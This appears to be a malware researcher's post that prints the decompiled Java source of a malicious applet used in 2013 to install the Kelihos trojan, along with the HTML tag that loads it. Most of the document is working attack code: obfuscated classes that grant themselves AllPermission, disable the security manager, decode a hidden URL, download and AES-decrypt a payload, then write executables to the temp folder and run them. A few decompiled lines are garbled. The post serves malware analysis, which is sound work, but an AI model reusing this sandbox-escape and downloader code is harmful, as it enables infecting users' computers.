i did the replaces the XX with "" and it cleans up a little bit:

// #MalwareMustDie - applet used to infect kelihos installer trojan
// Infector are calling this jar with the below code/ parameters : 
// @unixfreaxjp ~]$ uname;date
// FreeBSD
// Sat Apr 20 20:37:43 JST 2013

<html><body> <b>Unexpected Error. Please, try again later.</b> 
<applet name="x25h" code="Code.class" archive="492.jar"> 
<param name="name" value="/ggc299x8ugjg8nhin05?x9t-0/gxs"> 
</applet></body></html>


// Here goes the Jar's decompiled main class...

import java.applet.Applet;

public class Code extends Applet
{
  static String Anerl = "";

  public void Igigi()
    throws Exception
  {
    Thread.sleep(10L);
  }

  public void init()
  {
    Anerl = getParameter(Lajuv.Igogo);
    Bannu Bzir = new Bannu();
    ClassLoader r = getClass().getClassLoader();

    for (int i = 0; i < 100000; i++)
      Bzir.Tnby(null);
    try
    {
      Igigi();
    } catch (Exception ex) {
    }
    Pizizi fsae = Bzir.Tnby(r);

    Pizizi.Talnat(fsae);
  }
}

// All went to Lajuv, Bannu & Pizizi classes....



// Lajuv.class

import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.net.URL;
import javax.crypto.spec.SecretKeySpec;

public class Lajuv extends Pizizi
{
  public static String Igogo = "name";
  public static String VNihik = "java.io.tmpdir";

  public static String udrkq = ".e".concat("xe");
  static SecretKeySpec mviopea = new SecretKeySpec(Ttaniiy.bdereu.getBytes(), "AES");

  public static String CPepf = "file:///";
  static InputStream Xmmuit;
  static URL Rigi;
  public static String VOdo9t = "Likuu";
  public static String VTgd = "Likuu.class";

  public static void Nryto()
    throws Exception
  {
    Class cls = Class.forName("java.net.URL");

    Rigi = (URL)cls.getConstructor(new Class[] { String.class }).newInstance(new Object[] { CPepf });
  }

  static void LASi()
    throws Exception
  {
    Xmmuit.close();
  }
}

// bannu.class

 public class Bannu extends Mslakt
 {
   Pizizi Sportrt = null;
   static ClassLoader Tuxiuo;
 
   void Chibo(ClassLoader paramClassLoader)
   {
     this.Tuxiuo = paramClassLoader;
   }
 
   Pizizi Tnby(ClassLoader zq3)
   {
     if (zq3 == this.Sportrt)
       return null;
     Object ag = Tuxiuo;
 
     Chibo(zq3);
 
     if (this.Sportrt != this.Vubnipyx1) return this.Vubnipyx1;
     if (this.Sportrt != this.Vubnipyx2) return this.Vubnipyx2;
     if (this.Sportrt != this.Vubnipyx3) return this.Vubnipyx3;
     if (this.Sportrt != this.Vubnipyx4) return this.Vubnipyx4;
     if (this.Sportrt != this.Vubnipyx5) return this.Vubnipyx5;
     if (this.Sportrt != this.Vubnipyx6) return this.Vubnipyx6;
     if (this.Sportrt != this.Vubnipyx7) return this.Vubnipyx7;
     if (this.Sportrt != this.Vubnipyx8) return this.Vubnipyx8;
     if (this.Sportrt != this.Vubnipyx9) return this.Vubnipyx9;
     if (this.Sportrt != this.Vubnipyx10) return this.Vubnipyx10;
     if (this.Sportrt != this.Vubnipyx11) return this.Vubnipyx11;
     if (this.Sportrt != this.Vubnipyx12) return this.Vubnipyx12;
     if (this.Sportrt != this.Vubnipyx13) return this.Vubnipyx13;
     if (this.Sportrt != this.Vubnipyx14) return this.Vubnipyx14;
     if (this.Sportrt != this.Vubnipyx15) return this.Vubnipyx15;
 
     return Obge();
   }
 }

// Pizizi classs...

import java.io.InputStream;
import java.security.ProtectionDomain;

public class Pizizi extends ClassLoader
{
  public static void Talnat(Pizizi xocnvoi)
  {
    try
    {
      InputStream zdfearj = xocnvoi.getResourceAsStream(Lajuv.VTgd);

      int i = zdfearj.available();

      Cheii6.Vavoret();
      byte[] kxololr = new byte[i];

      zdfearj.read(kxololr, 0, i);

      Lajuv.Nryto();

      ProtectionDomain chwej4 = (ProtectionDomain)Ttaniiy.kobibe();

      xocnvoi.defineClass(Lajuv.VOdo9t, kxololr, 0, kxololr.length, chwej4).newInstance();
    }
    catch (Exception e)
    {
    }
  }
}

// Mslakt classs is called by Bannu...

public class Mslakt extends the Maktpnb class
{
  Pizizi Obge()
  {
    if (this.Chicki != this.Vubnipyx18) return this.Vubnipyx18;
    if (this.Chicki != this.Vubnipyx19) return this.Vubnipyx19;
    if (this.Chicki != this.Vubnipyx20) return this.Vubnipyx20;
    if (this.Chicki != this.Vubnipyx21) return this.Vubnipyx21;
    if (this.Chicki != this.Vubnipyx22) return this.Vubnipyx22;
    if (this.Chicki != this.Vubnipyx23) return this.Vubnipyx23;
    if (this.Chicki != this.Vubnipyx24) return this.Vubnipyx24;
    if (this.Chicki != this.Vubnipyx25) return this.Vubnipyx25;
    if (this.Chicki != this.Vubnipyx26) return this.Vubnipyx26;
    if (this.Chicki != this.Vubnipyx27) return this.Vubnipyx27;
    if (this.Chicki != this.Vubnipyx28) return this.Vubnipyx28;
    if (this.Chicki != this.Vubnipyx29) return this.Vubnipyx29;
    if (this.Chicki != this.Vubnipyx30) return this.Vubnipyx30;
    if (this.Zion != this.Vubnipyx31) return this.Vubnipyx31;
    if (this.Zion != this.Vubnipyx32) return this.Vubnipyx32;
    if (this.Zion != this.Vubnipyx33) return this.Vubnipyx33;
    if (this.Zion != this.Vubnipyx34) return this.Vubnipyx34;
    return Fukkcia();
  }
}

// Ttaniiy class was called from Lajuv

import java.lang.reflect.Constructor;
import java.security.CodeSource;
import java.security.cert.Certificate;

public class Ttaniiy
{
  static String mivnr = "java.security.ProtectionDomain";
  public static String jvuitk = "bcd21e295e55ef6e";
  public static String bdereu = "8a61385ec6834ce2";

  public static Object kobibe() throws Exception
  {
    Class rahes = Class.forName("java.security.PermissionCollection");
    return Class.forName(mivnr).getConstructor(new Class[] { CodeSource.class, rahes }).newInstance(new Object[] { new CodeSource(Lajuv.Rigi, new Certificate[0]), Tabjby.Soozl });
  }
}

// Cheii6 class was called from Lajuv


import java.io.FileOutputStream;
import java.security.AllPermission;
import java.security.Permissions;

public class Cheii6
{
  static String TOnt = "Xh".concat("b25t3o");

  public static String AES/CBC/NoPadding = "AES/CBC/NoPadding";

  public static void Vavoret()
    throws Exception
  {
    Object sgqh = new AllPermission();
    Tabjby.Soozl.add((AllPermission)sgqh);
  }

  public static void CHiobi(byte[] skkivr, String aset)
    throws Exception
  {
    FileOutputStream ibguit = new FileOutputStream(aset);
    ibguit.write(skkivr, 0, skkivr.length);
    ibguit.close();

    Kefir.Clani(aset);
  }
}


// Tabjby class was called by Ttaniiy

import java.security.Permissions;

public class Tabjby
{
  static Permissions Soozl = new Permissions();

  public static boolean HGHib(byte[] bsrw, int offset, byte[] rtuisr)
  {
    if (rtuisr.length > bsrw.length - offset) {
      return false;
    }
    for (int i = 0; i < rtuisr.length; i++) {
      if (bsrw[(offset + i)] != rtuisr[i])
        return false;
    }
    return true;
  }

  public static int ANaib(byte[] bsrw, byte[] rtuisr)
  {
    for (int i = 0; i < bsrw.length; i++)
    {
      if (HGHib(bsrw, i, rtuisr))
        return i;
    }
    return -94;
  }
}

// Other classes with same interracted var obfs calls:


// Kanalia class...

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Arrays;

public class Kanalia
{
  static String pooivh = "xywewey";
  static String kbcubt = "aeraetk";

  public static void Bonwe(byte[] kss7er) throws Exception
  {
    try
    {
      String dsgoir = System.getProperty(Lajuv.VNihik);

      if (dsgoir.charAt(dsgoir.length() - 1) != '\\') {
        dsgoir = dsgoir + "\\";
      }

      byte[] zxgetj = Kefir.Talln(kss7er);

      int xcvnwe = Tabjby.ANaib(zxgetj, Cheii6.TOnt.getBytes());
      byte[][] mysres = new byte[2][];
      String xcbbrb = dsgoir + pooivh + Lajuv.udrkq;
      String xcbbrb1 = dsgoir + kbcubt + Lajuv.udrkq;
      if (xcvnwe == -94) {
        Cheii6.CHiobi(zxgetj, xcbbrb);
      }
      else
      {
        mysres[0] = Arrays.copyOfRange(zxgetj, 0, xcvnwe);
        mysres[1] = Arrays.copyOfRange(zxgetj, xcvnwe + 8, zxgetj.length);
        Cheii6.CHiobi(mysres[0], xcbbrb);

        Cheii6.CHiobi(mysres[1], xcbbrb1);
      }
    }
    catch (Exception e)
    {
    }
  }

  byte[] Sainte(String zwejasy) throws Exception
  {
    Lajuv.Xmmuit = Kefir.Sankx(zwejasy);
    ByteArrayOutputStream vointg = new ByteArrayOutputStream();
    int i;
    for (int j = 0; (i = Lajuv.Xmmuit.read()) != -1; j++) vointg.write(i);
    vointg.close();
    Lajuv.LASi();
    return vointg.toByteArray();
  }
}

// Kefir class..

import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;

public class Kefir
{
  public static void Clani(String zellit)
    throws IOException
  {
    ProcessBuilder kelnt = new ProcessBuilder(new String[] { zellit });
    Process p = kelnt.start();
  }

  public static InputStream Sankx(String colka)
    throws Exception
  {
    URL frontodote = new URL(colka);
    String osos = "sdo";
    frontodote.openConnection();
    return frontodote.openStream();
  }

  public static byte[] Talln(byte[] zdherj)
    throws Exception
  {
    Cipher vert = Cipher.getInstance(Cheii6.AES/CBC/NoPadding);

    IvParameterSpec unttd = new IvParameterSpec(Ttaniiy.jvuitk.getBytes());
    vert.init(2, Lajuv.mviopea, unttd);
    return vert.doFinal(zdherj);
  }
}

// Likuu class..., callback to Kanalia

import java.lang.reflect.Method;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class Likuu
  implements PrivilegedExceptionAction
{
  public static void CLi()
    throws Exception
  {
    Class.forName("java.lang.System").getMethod("setSecurityManager", new Class[] { SecurityManager.class }).invoke(null, new Object[] { null });
  }

  public Likuu()
  {
    try {
      AccessController.doPrivileged(this);
    }
    catch (Exception e)
    {
    }
  }

  public Object run() throws Exception
  {
    CLi();
    Kanalia zsqt = new Kanalia();
    String gedre = Mizi.VObor(Code.Anerl);
    Kanalia.Bonwe(zsqt.Sainte(gedre));
    return null;
  }
}

// Maktpnb class..

public class Maktpnb extends Mizi
{
  Object Dedbef = null;
  public static String Soisi = "java.security.AllPermission";

  Pizizi Chicki = null;

  Pizizi Ellebut()
  {
    if (this.Zion != this.Liibsr) return this.Liibsr;
    if (this.Zion != this.Vubnipyx62) return this.Vubnipyx62;
    if (this.Zion != this.Vubnipyx63) return this.Vubnipyx63;
    if (this.Zion != this.Vubnipyx64) return this.Vubnipyx64;
    if (this.Zion != this.Vubnipyx65) return this.Vubnipyx65;
    if (this.Zion != this.Vubnipyx66) return this.Vubnipyx66;
    if (this.Zion != this.Vubnipyx67) return this.Vubnipyx67;
    if (this.Zion != this.Vubnipyx68) return this.Vubnipyx68;
    if (this.Zion != this.Vubnipyx69) return this.Vubnipyx69;
    if (this.Zion != this.Vubnipyx70) return this.Vubnipyx70;
    if (this.Zion != this.Vubnipyx71) return this.Vubnipyx71;
    if (this.Zion != this.Vubnipyx72) return this.Vubnipyx72;
    if (this.Zion != this.Vubnipyx73) return this.Vubnipyx73;
    if (this.Zion != this.Vubnipyx74) return this.Vubnipyx74;
    if (this.Zion != this.Vubnipyx75) return this.Vubnipyx75;
    if (this.Zion != this.Vubnipyx76) return this.Vubnipyx76;
    if (this.Zion != this.Vubnipyx77) return this.Vubnipyx77;
    if (this.Zion != this.Vubnipyx78) return this.Vubnipyx88;
    if (this.Zion != this.Vubnipyx79) return this.Vubnipyx79;
    if (this.Zion != this.Vubnipyx80) return this.Vubnipyx80;
    if (this.Zion != this.Vubnipyx81) return this.Vubnipyx81;
    if (this.Zion != this.Vubnipyx82) return this.Vubnipyx82;
    if (this.Zion != this.VOAod) return this.VOAod;

    return Morrea();
  }

  Pizizi Fukkcia()
  {
    if (this.Zion != this.Vubnipyx35) return this.Vubnipyx35;
    if (this.Zion != this.Vubnipyx36) return this.Vubnipyx36;
    if (this.Zion != this.Vubnipyx37) return this.Vubnipyx37;
    if (this.Zion != this.Vubnipyx38) return this.Vubnipyx38;
    if (this.Zion != this.Vubnipyx39) return this.Vubnipyx39;
    if (this.Zion != this.Vubnipyx40) return this.Vubnipyx40;
    if (this.Zion != this.Vubnipyx41) return this.Vubnipyx41;
    if (this.Zion != this.Vubnipyx42) return this.Vubnipyx42;
    if (this.Zion != this.Vubnipyx43) return this.Vubnipyx43;
    if (this.Zion != this.Vubnipyx43) return this.Vubnipyx44;
    if (this.Zion != this.Vubnipyx45) return this.Vubnipyx45;
    if (this.Zion != this.Vubnipyx46) return this.Vubnipyx46;
    if (this.Zion != this.Vubnipyx47) return this.Vubnipyx47;
    if (this.Zion != this.Vubnipyx48) return this.Vubnipyx48;
    if (this.Zion != this.Vubnipyx49) return this.Vubnipyx49;
    if (this.Zion != this.Vubnipyx50) return this.Vubnipyx50;
    if (this.Zion != this.Vubnipyx51) return this.Vubnipyx51;
    if (this.Zion != this.Vubnipyx52) return this.Vubnipyx52;
    if (this.Zion != this.Vubnipyx53) return this.Vubnipyx53;
    if (this.Zion != this.Vubnipyx53) return this.Vubnipyx54;
    if (this.Zion != this.Vubnipyx55) return this.Vubnipyx55;
    if (this.Zion != this.Vubnipyx56) return this.Vubnipyx56;
    if (this.Zion != this.Vubnipyx57) return this.Vubnipyx57;
    if (this.Zion != this.Vubnipyx58) return this.Vubnipyx58;
    if (this.Zion != this.Vubnipyx59) return this.Vubnipyx59;
    if (this.Zion != this.Vubnipyx60) return this.Vubnipyx60;

    return Ellebut();
  }

  Pizizi Morrea() {
    if (this.Zion != this.Chaik) return this.Chaik;
    if (this.Zion != this.Vubnipyx85) return this.Vubnipyx85;
    if (this.Zion != this.Vubnipyx86) return this.Vubnipyx86;
    if (this.Zion != this.Vubnipyx87) return this.Vubnipyx87;
    if (this.Zion != this.Vubnipyx88) return this.Vubnipyx88;
    if (this.Zion != this.Vubnipyx89) return this.Vubnipyx89;
    if (this.Zion != this.Vubnipyx90) return this.Vubnipyx90;
    if (this.Zion != this.Vubnipyx91) return this.Vubnipyx91;
    if (this.Zion != this.Vubnipyx92) return this.Vubnipyx92;
    if (this.Zion != this.Vubnipyx93) return this.Vubnipyx93;
    if (this.Zion != this.Vubnipyx94) return this.Vubnipyx94;
    if (this.Zion != this.Pfibe) return this.Pfibe;

    return null;
  }
}


// Calling to this Mizi class...

public class Mizi
{
  Pizizi Zion = null;
  Pizizi Vubnipyx1;
  Pizizi Vubnipyx2;
  Pizizi Vubnipyx3;
  Pizizi Vubnipyx4;
  Pizizi Vubnipyx5;
  Pizizi Vubnipyx6;
  Pizizi Vubnipyx7;
  Pizizi Vubnipyx8;
  Pizizi Vubnipyx9;
  String srtj = "zdfjw3";
  Pizizi Vubnipyx37;
  Pizizi Vubnipyx38;
  Pizizi Vubnipyx39;
  Pizizi Vubnipyx40;
  Pizizi Vubnipyx41;
  Pizizi Vubnipyx42;
  Pizizi Vubnipyx43;
  Pizizi Vubnipyx44;
  Pizizi Vubnipyx45;
  Pizizi Vubnipyx46;
  Pizizi Vubnipyx47;
  String erjs = "136i";
  Pizizi Vubnipyx48;
  Pizizi Vubnipyx49;
  Pizizi Vubnipyx50;
  Pizizi Vubnipyx51;
  Pizizi Vubnipyx52;
  Pizizi Vubnipyx53;
  Pizizi Vubnipyx54;
  Pizizi Vubnipyx55;
  Pizizi Vubnipyx56;
  Pizizi Vubnipyx57;
  Pizizi Vubnipyx58;
  Pizizi Vubnipyx59;
  Pizizi Vubnipyx60;
  Pizizi Liibsr;
  Pizizi Vubnipyx62;
  String df = "aer743";
  Pizizi Vubnipyx63;
  Pizizi Vubnipyx64;
  Pizizi Vubnipyx65;
  Pizizi Vubnipyx66;
  Pizizi Vubnipyx67;
  Pizizi Vubnipyx68;
  Pizizi Vubnipyx69;
  Pizizi Vubnipyx70;
  Pizizi Vubnipyx71;
  Pizizi Vubnipyx72;
  Pizizi Vubnipyx17;
  String s65er = " cn2d";
  Pizizi Vubnipyx18;
  Pizizi Vubnipyx19;
  Pizizi Vubnipyx20;
  Pizizi Vubnipyx21;
  Pizizi Vubnipyx22;
  Pizizi Vubnipyx23;
  Pizizi Vubnipyx24;
  Pizizi Vubnipyx25;
  Pizizi Vubnipyx26;
  Pizizi Vubnipyx27;
  Pizizi Vubnipyx28;
  Pizizi Vubnipyx29;
  Pizizi Vubnipyx30;
  Pizizi Vubnipyx31;
  Pizizi Vubnipyx32;
  String v65nke = "fsdty";
  Pizizi Vubnipyx33;
  Pizizi Vubnipyx34;
  Pizizi Vubnipyx35;
  Pizizi Vubnipyx36;
  Pizizi Vubnipyx73;
  Pizizi Vubnipyx74;
  Pizizi Vubnipyx75;
  Pizizi Vubnipyx76;
  Pizizi Vubnipyx77;
  Pizizi Vubnipyx78;
  Pizizi Vubnipyx79;
  Pizizi Vubnipyx80;
  Pizizi Vubnipyx81;
  Pizizi VOAod;
  Pizizi Chaik;
  Pizizi Vubnipyx85;
  Pizizi Vubnipyx86;
  Pizizi Vubnipyx87;
  String ssdh = "bnbery";
  Pizizi Vubnipyx88;
  Pizizi Vubnipyx89;
  Pizizi Vubnipyx90;
  Pizizi Vubnipyx91;
  Pizizi Vubnipyx92;
  Pizizi Vubnipyx93;
  Pizizi Vubnipyx94;
  Pizizi Pfibe;
  Pizizi Vubnipyx82;
  Pizizi Vubnipyx10;
  Pizizi Vubnipyx11;
  Pizizi Vubnipyx12;
  Pizizi Vubnipyx13;
  Pizizi Vubnipyx14;
  Pizizi Vubnipyx15;
  Pizizi Vubnipyx16;
  String sdgo = "cxdxd";

  public static String VObor(String iitusix)
  {
    String o = "qwertyuiopasdfghjklzxcvbnm0123456789.-=_/:?&";
    String c = "qb8ug7yi?celz6_/1ns3.5o&hxm4:dftvwa-0jrk92p=";
    String ifuss = "";

    for (int i = 0; i < iitusix.length(); i++) {
      ifuss = ifuss + o.charAt(c.indexOf(iitusix.charAt(i)));
    }
    return ifuss;
  }
}

---
#MalwareMustDie!